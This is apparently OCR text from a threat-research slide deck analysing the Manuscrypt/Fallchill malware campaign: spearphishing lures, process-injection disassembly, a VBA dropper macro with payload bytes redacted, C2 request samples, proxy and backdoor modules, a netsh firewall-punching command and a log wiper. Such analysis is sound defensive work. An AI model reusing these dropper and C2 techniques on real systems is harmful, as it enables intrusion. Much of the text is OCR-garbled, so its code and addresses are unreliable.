33 C1 04 add ecx, 4
39 EE 95 B6 50 mov ecx, 5S0B6YSEEN ; OpenProcess ;g gg 04 ;g; 92211 [92:;4] ; #CRYPT(
39 45 DC mov [ebp+NtClose], eax o ot [esi], ez
8 F7 08 00 00 call  get_api by hash 3D 76 © lea esi, [esi+d]
39 5D 44 61 FE mov ecx, OFE61445Dh ; GetModuleFileNameA 3B 54 24 10 mov edx, [esp+5D8h+var_5C8]
39 45 BC mov [ebp+OpenProcess], eax zB CA cmp ecx, edx
8 EA 08 00 00 call  get_api by hash 2 EA ib short loc 401213
39 AE 87 92 3F mov ecx, 3F9287AFh : VirtualAllocEx

N
7
: : Inject to legit
Find decryption Get API by Get Decrypt J 9
rocess
key hash Handle payload P
0 push eax 26 FU Ub YU Vo call gel_api_by_nasn )
loc_401014: F 55 EO call [ebp+GetCurrentProcess] ;: :g 87 92 3F mz g(s:)i(, 223287/\81 ; VirtualAllocEx
D 6C 3E lea ecx, [esitedi] 0 push  eax -3 F1 OB 00 00 call stz
< : - = get_api_by hash
'1 39 DD CC BB AA cmp dword ptr [ecx], OAABECCDDI 2 75 E4 :::: ?z;pwar 1€] 39 C5 D8 BD E7 mov ecx, OE7BDD8C5h ; WriteProcessMemory
'S5 05 jnz short loc 401024 F 55 C4 call [ebp+NtDuplicateObject] 19 44 24 18 mov fesn+588h+var 5701, eax
5Ch test eay. eay
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Payload summary

D@? IP-based C&C communication type

* Only used up to type #2
 Not seen after November 2017

« Fake SSL communication

nyservice .xhox.com
com wuu - apple .com
wuy .. hing.com
com v .debian.org

wu . facehbook.com

e.com wuww. lenovo.com

wuw .paypal .com
tter.com

e Full featured backdoor

uk.yahoo.com veb.vhatsapp.
wu . baidu.com
wuww . hitcoin.org wwy ..comodo .
wur . drophox.com
v .github_com wu . googl
wuw..microsoft.com

wuw - tumhly . com o - twd

wu - wetransfer .com wvuwu wikipedia.org

- File handling
- Process handling
- Execute commands

- Data exfiltration

D& HTTP-based C&C communication type

» Usually used this type communications

* Using compromised server

POST ~commonsleft.asp HITP-A1.1

Cache—-Control: max—age=8

Connection: Keep—-Alive

Content—-Type: multipartsform—data:; boundary=——FormBoundary8 j?010D1a5Wj3inCh
Accept: =*/%

Accept-Language: ko—KR

User—Agent: Mozilla~4.8 <(compatibhle; MSIE ?7.8; Windows NI 6.1; Trident-s4.8; SLC
Content—-Length: 392

Host: monturasales.ebhizway.co.kp

—————— FormnBoundary8 j7010D1a5W33inCh

Content—Disposition: form—data; name="hoard_id"

—————— FormBoundaryd jY010D1a5W3i3inCh

Content—-Disposition: form—data; name="user_id"

#ed JU ¢ *=JEft HERUNQE

—————— FormnBoundary8 j7010D1a5W33inCh

Content—Disposition: form—data; name="filel'; filename="pratice.pdf"
Content-Type: application‘soctet—stream

#le

e Full featured backdoor
- System info gathering
- Execute commands

Y3
. and S0 on KASPERIKY=2



Type of C&C servers

B ® ®

COMPROMISED SERVER COMPROMISED WEB SERVER IN KOREA COMPROMISED WEB SERVER IN CHINA

DedeCMSs RRER |

FREXFT 2RThEE, BitRE AR !

PR




Not only hwp file

I SECURITY WARNING Macros have been disabled. Enable Content

Attribute UB_Mame = "MewMacros"
Sub AutoOpenc?

PlefH & On Error GoTo gag=z

S :iff;" Tj: B lideOff = "suchost.exe"
Dim dk=<{27?> As String

[=Ymal e Sy E=T=1g/}- |- [OJ ]

0 800 e e O HEIB~ 5 0~0 00 OOt dks<(1> = “ARBD??E?E4E7E?E?E3E?EVE?1818E7E?SFE?E?EVE?E?E?E?A7E?E?E?EVE7E?E?E
L?F56118CBH461A557F5611 8CBAG6L1 DAL YFLS611 BCEBAY61 B45/FLS61 4YAEF66HBDS PFS561 4YHEFAG HE
BDEGEYE?E?EEAZCSEEEF P E Y EE? 3 EEE Y EMA P EREF /EEE Y ES EVEYE2 EVYEG EVEVEYEVEVE
E?E?EE?E?EE P EEE R EEEYEEEYEYE?E?FFFCER EAYEYEVEPE?EYE?EYE?EREVE?E?I?EVEYT

- dks<2> = "EPEPEVEVC?93829F23E?EYE?CISDE?ERE?FPEVEYEYSBEVEVEYEIEYEYEYE?EVEYH
e b B E Y E Y E? ES EPEPE Y E Y E P EYEPEPEYEYEYEEPAYEPEPAYC? IS8 28 BB 8B4 EVEVE YEFEVEVEAYES EVE
E?E?E?E?E?EVEEEVE?E/EVEYEYEREVEYE?EREVEVEEVEREVEVE?EYEYEYEVEREVEVEVE?EVEVEYE
E?EEE?EE P E P EE P E P E E P E P E  E P E E E P E P E EPEPE R EEYEVEE Y EVEPEYEPEVEYEVEVEYEPEVEH
dk={(3>» = "EVYEPE?EYEVEVE?EE/EVEEYEYEVYEYEYEVEYEVEVEYEVEVEYB26 CHBG CAREBE1 BAG
E?E76423F3622792EFERSOZ2 7EAEYE?ERG YEBAZ4B26 CABB16C?2EF1 891 FB1 821 FFAFBICSEPE764A81F
1D6CAAEFRAE3BZESEVEVEYG E?EEIGE?EERERGEDG 6 EAGEFB?BAZ4B26 CHB6 CAZCFR22 72 38DE CAAERG
BBeCAZEBECAZF??3CA6CBZEF6 CADEFG CASERBCAAAEBCAAZFPECZF?3F16CASF/6CADFICAA2ZEBCAAAF
dks<4> = "FP4A4FBAGEV6CBZEBGCZDB16C?2EFR 6 AEYV?FCAGEYGL2EEVEYE?ECGCESGEA2136
3?9?E?D42?245FEEE?E?E?E42B2BEBEBEBEBEBEBEBEBEBBEEGEBE4EBEBB4EGBHEBBIEEHHiFD4EE-

AgF 2
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Not only hwp file

Persistence attack

2017-07-31
07:40:07

2017-07-31
16:25:00

2017-08-03
18:13:23

Hl E 32 Cl
HelLHS xls

e3796387 (web)
KR

e3796387 (web)
KR

e3796387 (web)
KR

ArKT9qEAl tHyy2 HyctZval

3e5hbdd B4db1671
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Attacks on
other countries
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Attack methodology

)

SPEARPHISHING

en disabled, Enable Content

Document was created in an older version of

Microsoft Word

To view this content, please click "Enable Editing" from the ab

click “Enable Content" Software Dev Mgr Il

Job Description

Requirements
Minimum Qualifications:

Degree or military
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Attack methodology

/— Structure of Macro

"{z| Macro to create payload

Attribute VB_Name = "Modulel"
Sub Auto_Open()

On Error GoTo gaqz
liveOn = "sjop/fyf"
liveOff = Environ("temp") + "\"
For gnx =1 To Len(liveOn)
liveOff = liveOff + Chr(Asc(Mid$(liveOn, gnx, 1)) - 1)
Next

Dim str(1635) As String

str(1) = "FOE72DBDBEBDBDBD......... [redacted]...............
.... [redacted]....
str(1635) = "9D9D9D9D9DI9D81.... ...... [redacted]...............

Dim offBin(499) As Byte

Open liveOff For Binary Access Write As #1
Ipdg =1

For jnx =0To 1634

Forinx =0 To 499
offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2))

\ Next inx

DBDBDBD"

DBDBDBD"

"¢z| Macro to create decoy document

liveOn = "EFG492:2/ymt"
liveOffd = Environ("temp") + "\"
For gnx =1 To Len(liveOn)

liveOffd = liveOffd + Chr(Asc(Mid$(liveOn, gnx, 1)) - 1)
Next gnx

Dim strd(239) As String
strd(1) = "1906D8296878D328C9C9C9...[redacted].....36363636363636"
...... [redacted]......
strd(239) = "C9C9C9COCICICICIACIACY...[redacted]....... D9C9CI9CICOCOCo"
Dim offBind(499) As Byte
Open liveOffd For Binary Access Write As #2
lpdg=1
For jnx =0 To 238

Forinx =0 To 499

offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2))
Next inx
Put #2, Ipdq, offBind

Ipdg = Ipdg + 500
Next jnx

Close #2 KASPER§KYZ




Who is target?

cfﬁbanaméx@

Sequros

Soguros Banamex $.A. do C.V. Integrante del Grupo Financiero Banamex
jano Caranza No. 83, Centro Histérico, Cludad de México, sn Cuauhtémoc, C P. 08000, México Distito Federa

INCOME STATEMENT

For the year ended 31 December 2016

Software Dev Magr Il

Job Description

Finance  Engineering Crypto
Currency

We analyzed and evaluated 10+ crypto currencies, the
most circulated in the last four years, and expressed out
company profile and ir nent proposal

INVESTMENT

At BBVA, we are working to make banking betier for everyone. That is where you come in.
We are locking for smart, team orientad people whao want to be part of a first-class workforce
that gives people the tools they need to meet their financial goals, all while delivering an

PROPOSAL

autstanding client experience. Learn more below.

Relationship Director - Corporate Banking

Description

The Relationship Director - Corporate Banking role is based within HSBC Corporate Banking —
Commercial Banking UK HSBC Corporate Banking in the UK provides both domestic and
international commercial banking services to our existing and prospective clients

Business Development Executive - HSBC Insurance

Location

Asia Pacific-Hong Kong-Kowloon-Tai Kok Tsui

HSBC Insurance provides a comprehensive range of life products and services to suit the every

Senior Esports Project Manager

The Blizzard Enterizinment gsports team is locking for a talented, enthusiastic, and highly
organized project manager fo oversee the tracking, documentation, and planning of our
gsporfs products. The ideal candidate must be a strong communicator, love the act of
planning and arganization, and enjoy working inside a flexiole team-onented environment.
This candidate should be well versed in project management styles, methodologies, and
processes. Tenacity, self-direction and follow-up skills are a must, as well as the ability to
anticipate issues and find effective solutions.

CIB Operations - Warsaw Corporate Center
(WCC) - Project Manager - Vice President

Reg #: 170094080
Location: Warsaw, MZ, PL
Job Category: Project Management

by

Chief Financial Officer

JOB DESCRIPTION

The Chief Financial Officer is ene of the mast important roles at Luno. As CFO you will coordinate with all business departments in
providing a financial perspective to all decision making, overseeing accounting operations and ensure timely and accurate financial
reporting. You will be involved in day-to-day discussions with the Executive Management team, reporting directly to the CEO and
play a pivotal rele in investor relations.

Engineering Manager

Job Description

Our vision Is to bring more innovation, efficiency, and egquality of opportunity to the world by
building an open financial system. Our first step on that journey is making digital currency
accessible and approachable for everyone. Two principles guide our efforts. First, be the most
trusted company in cur domain. Second, create user-focused products that are easier and more
delightful to use.

Meoving and transacting financial assets safely is core to executing on our vision and building
our brand of trust. The payments team builds shared infrastructure for Coinbase and GDAX to
securely store and trade billion dellars of assets. VWe take on hard engineering problems in

cryptography, security, blockzhain technology and distributed systems, with a focus on building
high reliability services for product teams.




Payload summary

D&? Full-featured backdoor a.k.a Fallchill

* IP-based C&C communication
- Fake SSL communication (Polar SSL)
- Used compromised server

Vulnerabilities:

Ports:
25 Microsoft ESMTP (6.0.3790.4675)
80 Microsoft IIS httpd (6.0)

« HTTP-based C&C communication
- Compromised ASP hosting IIS server

- Allegedly used board/CMS vulnerability

e HE e

EH|0|x] ZEE MEET|

switch ( al )
case Ox8000:
result =
if ( result == 1)
result = 3;
break;
case Ox8001:
result =
break;
case Ox8002:
result =
break;
case Ox8003:
result =
break;
case Ox8006:
result =
break;
case Ox8007:
result =
break;
case Ox8008:
result =
break;
case Ox8009:
result =
break;
case Ox8019:
result =
break;
case Ox8011:
result =
break;
case Ox8012:
result =
break;
case Ox8013:
result =
break;
case Ox8014:
result =
break;
case 0x8015:
result =

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

(a2);

File search, handling
Process handling
Collect system information

Directory / File listing

KASPERIKY=2



C&C server
Configuration

KASPERIKY=2



How did | start this investigation?

> Found 1 C&C server in South Korea M
— Suspected compromised server

®

- Working closely with investigation agency ..

— Investigate compromised server
— Found one proxy module
Malicious hwp {9';?,
dropped Manuscrypt .

Expanding research with our telemetry
— Yara magic!
— Found additional module from compromised sever

KASPERIKY=2



Manuscrypt C2 infrastructure

Send information ; Communication
Multi-stage Proxy
E Servers E

Manuscrypt Final-stage

infected host E C2 server
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Manuscrypt C2 Geolocations

e A — VP,
-
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Malwares/Tools from C&C server

Backdoor Threat actor uses many kind of backdoors - Active backdoor, Passive
Variants backdoor, HTTP backdoor, IIS backdoor

Proxy Main component of multi stage of proxy structure, forward incoming
Malware traffic to other host

Information TCP connection harvester to steal inbound/outbound

Harvester network connections

Other Loader to decrypt and execute encrypted payload, File

Tools wiper to wipe out specific file securely
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Proxy module

D& Simply forward traffic from incoming host to next hop

Configuration
Stores configuration at registry key

LVONTAGNSgNT 1T i LB
0, <3¢e75937-683d-a84b-5290-175d¢c058279d>, 0
38R align 4
JEUE aSystemCurrentc: DATA XREI b 1 1CH1+137¢
o Contigk 10 € EB

0, <SYSTEM\CurrentCont ;01531 \,édnk rol\WI'\éecuriip, 1] .

1881E31E
1801E344 aCm
OO1E34T

1

1

1
ata:io

1

1

'

i 1001E3SE aFl
a:1081E358 all

Saved configuration as specific file 1001E35C ab
Updating file with data from another hop data:100

Decrypt this file when read

a:1001E310 aSd_eScNSshSrew db '%sd.e¥sc nisshisrewaks

Firewall punching
Add allowed port list using windows command

ab ‘em', B IATA XREF
align 4

db 'xe /.0 DATA E
align 1&h

db 'et'. B DATA XBEF: FWP

align 4
dr ' T1',0
db '11', &
align 4

db 'd',8 DATA XREF: FWF

align 1Bh
db ‘rt'.0 DATA XRE

Fake SSL communication

AL LT LEWVL .

addks poksopksing Ths Sd “ks"'.0
ATA XREF: FWPu i) b 18

Disguised as leqit sites SSL handshaking

56 push esi
80 85 @0 FC FF FF lea eax, [ebp+var_400] aWww_wikipedia_ db Twww.wikipedia.urg',ﬂ ; DATA XREF:
68 1C 39 61 10 push offset aTcpbeep_ime ; "tcpbeep.ime" align 4
50 push eax ; wchar_t * aWww_yahoo_com db 'www.yahoo.com',® : DATA XREF:
ES B9 5C 60 60 call wcscat align 4
8D 85 80 FC FF FF lea eax, [ebp+var_4008] aWww_uc_com db "www.uc.com',® : DATA XREF:
68 14 39 @1 10 push offset alAb ; "ab" align 4
50 push eax ; Wchar_t * aWww_paypal_com db 'www.paypal.com',® ; DATA XREF:
rn 42 Cr Am oAan am1 L S A align 4

aWww_linkedin_c db 'www.linkedin.com',® ; DATA XREF:

align 4

aWww_microsoft_ db 'www.microsoft.com',0 ; DATA XREF:

1DEE+52Ta

AFunChing 5 1pgplDER+divo

I firug b 18881DEE+2DTa

I Liruy b 1E DEG+2ETo

wWiHll 1 g 1 1DED+Z8 10

.data:10013A0CTo

.data:10013A08T0
.data:10013A0470
.data:10013A007T0

.data:100139FCio

.data:100139F8To
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Global P2P C&C server
(Passive backdoor module installed)

Proxy module — P2P proxy

D& P2P-based C&C infrastructures

Polar SSL
Encryption

Thread #2 : Read data from external named pipe
and send it to global P2P server

Thread #1 : Receive data from global P2P

and write it to listened named pipe l I
( . M
re o ] v ‘ re o

Connect to external named pipe y ¢

(\%s\pipe\AnonymousPipe)

Listening named pipe
((\.\pipe\AnonymousPipe)

Listening named pipe
((\.\pipe\AnonymousPipe)

|
i e o
AR
another infected host
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Active backdoor

o@Bpc Has C&C server address, performs backdoor functions

IP-based communications HTTP-based communications

- Configuration data in registry key - Same configuration data with IP-based backdoor
| - Choose HEAD, GET or POST method randomly
o Hash(MDS) based on when communicate C&C server

MAC address and Product ID (0x3F bytes)

0 06|00 © 90 00 00 60 00 0 ]

Number of C2 address ~ 060 : 000 00 60 60 00 : | Number of days to sleep 00209BAE |48 45 41 44|20 69 78 76|65 77 70 2E|69 63 6F 20|HEAD ixvewp.ico
(1 byte) B60 05 66 00 00 o0 o'o: A o 1% C2pddress 80209BBS |48 54 54 50 2F 31 2E 30| 6D OA 41 63 63 65 70 74|HTTP/1.8 Accept
: 90 00 60 00 00 60 00 00 00 60 60 60 1 C2 port B0209BCE|[3A 20 2A 2F 2A OD OA 41 4D 44 36 34 0D OA 41 63|: =/* AMD6Y4 Ac
80209BD8 |63 65 70 74 2D 45 &E 63| 6F 64 69 6E 67 3n 20 67|cept-Encoding: g
0 6000 00 00 00209BES|7A 69 70 2C 20 63 6F 6D |70 72 65 73 73 6D BA 55|zip, compress U
00209BF8|73 65 72 2D 41 67 65 6E|74 3A 20 4D &6F 7R 69 6C|ser-Agent: Mozil
) ) 80209CO8|6C 61 72 2F 35 2E 30 28|28 63 6F 6D 78 61 74 69|1ar/5.0 (compati
Full-featured backdoor 80209C18|62 6C 65 3B 20 4D 53 49 45 20 39 2E 38 3B 28 57|ble; MSIE 9.8; U
« File / directory listing 80209C28 |69 6E 64 6F 77 73 28 ME |54 20 35 2E 32 3B 28 57|indows NT 5.2; W
B0209C38 |69 6E 36 34 3B 26 78 33|32 3B 20 54 72 69 64 65|in6h; x32; Tride
« Process handling 00209C48 |6E 74 2F 35 2E 30 29 OD O6A 48 6F 73 74 3A 20 77|nt/5.08) Host: w
_ _ 80209C58 |77 77 2E 6C 61 71 72 70|71 2E 63 6F 6D 6D 6 44|ww_lagrpgq.com D
« Get system information 80209C68 | 4E 54 3A 2031 0D BA 43| 6F 6E 6E 65 63 74 69 6F|NT: 1 Connectio

80209C78|6E 30 20 4B 65 65 78 2D 41 6C 69 7665 6D OA 68D|n: Keep-Alive

 Execute windows command

« Send screenshot - Full-featured backdoor
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Passive backdoor

Doesn’t have C&C server address, Open port and wait connections
‘\\\

/— INSTALLATION PROCESS

s

Get Windows service list and

L choose one

~N

J

( )
Get display name of service and

append “Service”

Vs

-

Append decrypted strings at
service display name

-

Change service name as small
case and append “svc”

Vs

-

Drop payload as service name

2

-

Change file timestamp

K\

i.e. Choose “SharedAccess”
service

i.e. Change “Internet Connection
Sharing (ICS)" display name to
“Internet Connection Sharing
Service”

i.e. Append “is an essential
element in Windows System
configuration and management.”

i.e. SharedAccess ->
sharedaccesssvc

i.e. Drop payload to
sharedaccesssvc.dll

F/W Punching
cmd.exe /c netsh firewall add portopening TCP [Port] "adp”

Backdoor functions

- 68 BWASE116
-1

+ Ob BEASE11Y
+ OB JOREE110
+ 6B ABA4LE11D
- 68 BRALE11D
- 6B FRASA118
- 6 FRAIAT1A
- 6ff BCA7AT1A
- 6f ERAGAT1A
- 68 SEARE118
+ BN BYBEEEI
+ OB WHAFEIIY
-1

- EB SeSDapeg

PUSH OFFSET 18841A5RH
FUEH EAR

FUEH OFFSET 10A-EE
FUSH OFFSET 1001AEI0
PUSH OFFSET 10MANAE
PUSH OFFSET 10MANDE
PUSH OFFSET 18M1ASFB
PUSH OFFSET 18MA2FR
PUSH DFFSET 18MATEC
PUSH OFFSET 1881AZER
PUSH OFFSET 18841AASA
LER ERE, | LUCAL . f6 1)
FUSH OFFSET 18R IWE
FUSH EAR

CALL 10@a0F1C

ASGIT *

ASELL
ASCIL
ASCIL
ASCIT

ASGIT
ASGIT
ASEIL

AEELL

adp”

g
“ant
g

ny e
ASCIT ™

Fiv

nap
Ve S
(I

“%ed . efsc nEsshisrewa¥s adis pofsopising T%s Sd “%Hsm

Almost same with active backdoor
Some variants has routing functions
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Other tools

D&? TCP Connection Harvester

aNotepad_exe

aRb

svctfed32 PNF

aWb

TPCL

aAB

aGetextendedtcp

Iphlpapi dl1

aAllocateandget

iphlpapi_dll

aGettcptable

EE 'knatepad.exe',ﬂ
align 16h

db 'rb',@
aligh—=

db [“infhsvctfed32.PNF') @

align 4

db 'wh',0
align 4
db 'TPCL',0

align 4

db 'ath',®

: sub_10001690+22Dio ...

db>|' GetExtendedTcpTable'

db 'Iphlpapi.dll',o

align 4

: sub_10001A00+AToO

DATA XREF: sub 10001000+2ETo
sub_16001600+9AT0

DATA XREF: svctfed32 PNF_file op

DATA XREF: svctfed32 PNF_file op

sub 18001270+2Eio ...

DATA XREF: sub_180081270+8870

DATA XREF: sub_18001270+6CTo

DATA XREF: write_ system_info+20F

8 ; DATA XREF: write system_info+.

DATA XREF: write system_info+Ato

di>(' AllocateAndGetTecpExTableFromStack|, @

DATA XREF" ah 16081690 :1oc_10886

align 108h

db "iphlpapi.dll’',®@
align 18h

db»|'GetTcpTable' [0

; DATA XREF: sub_10001698+1AfTo

; DATA XREF: sub_18001A60:loc_10608

D&i Log Wiper

Generate random buffer
Overwrite file with that data repeatly

Delete file
call memset
add esp, OCh
mov [esp+oABh+var_88], ebp
call ds:__imp_GetTickCount
push eax ; unsigned int
call srand
add esp, 4
lea esp, [esp+0]

loc 10001FDE:

call rand
mov [esp+ebp+OAQOh+var_84], al
inc ebp

ebp, 86h

short loc_16081FDe
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Malwares/Tools from C&C server

Active Passive TCP conn IS HTTP
Backdoor Backdoor Proxy Harvester Backdoor Backdoor

Indonesia O

India O O O O O

Malaysia O

Bangladesh O

Vietnam O O O

Korea ® O O O

Thailand O

Taiwan O
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Malwares/Tools from C&C server

Case #1 Case #2

@

Active backdoor

Panama

——————————————————————————————————————————————————————————————————————————————

________________________________________________________________________________

.............................................................................................................. Proxy Passive TCP Conn
Columbia Indonesia Germany India Backdoor Backdoor Harvester
|
Dominican South Sri Lanka
RepUinC Korea
Vietnam
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Vulnerability information

2XX. XX XX XXX N/A

B XX XX XXX Aggressive OS guesses: Microsoft (91%), Microsoft Windows
R Server 2003 SP2 (91%)

2XX. XX XX XXX N/A

Aggressive OS guesses: Microsoft (93%), Microsoft Windows

XXX XX XXX Server 2003 (93%), Microsoft Windows Server 2003 SP2 (93%)

Aggressive OS guesses: Microsoft Windows XP SP3 or SP2

ZXK XXX XXX (97%), Microsoft Windows Server 2003 SP2 (94%),

Aggressive OS guesses: Microsoft SP1 or SP2 (99%),
LIXX. XX XX XXX Microsoft Windows XP SP3 or Windows Server 2003 SP2 (97%), Microsoft Windows
Server 2003 SP2 (94%),
2XX. XX XX XXX N/A
2XX XX XX XXX Aggressive OS guesses: Microsoft SP2 (89%)
: o 0 :
—— N/A Aggressive OS guesses: Microsoft SP2 (92%), Microsoft

Windows Server 2003 SP1 - SP2 (92%)



Vulnerability information

2017-03-31 2017-06-13
PoC for CVE-2017-7269 added to Microsoft published patch for this
Metasploit module vulnerability
{ i ( e
2017-03-26 2017-04-11
CVE-2017-7269 published Attack tool for this exploit was
created

KASPERIKY=2



Let’s put them together
Configure C&Clinfra

% Control infected hosts

{4zpp0"

EI$
Weaponized hwp/doc E

. \Sﬂ é
Communicate Act!ve backdoor - C&C server
multi-stage C&C | Passive backdoor i@’ Infrastructure
Proxy module
hsﬂ

TCP harvester

Victm L
(Manuscrypt infected) E

Corporate Sometimes infect corporate

Users hosts from server
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IELGEWEVES

 Never let your server compromised by them

« They keep polishing their tools 1 %

« Their favorite attack vector is spearphishi

* Recently, they are changing their TTPs

 Let’s head up their TTPs
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saarss N

BETVEES

LET’S TALK?

Twitter : @unpacker
Mail : seongsup4rk@gmail.com
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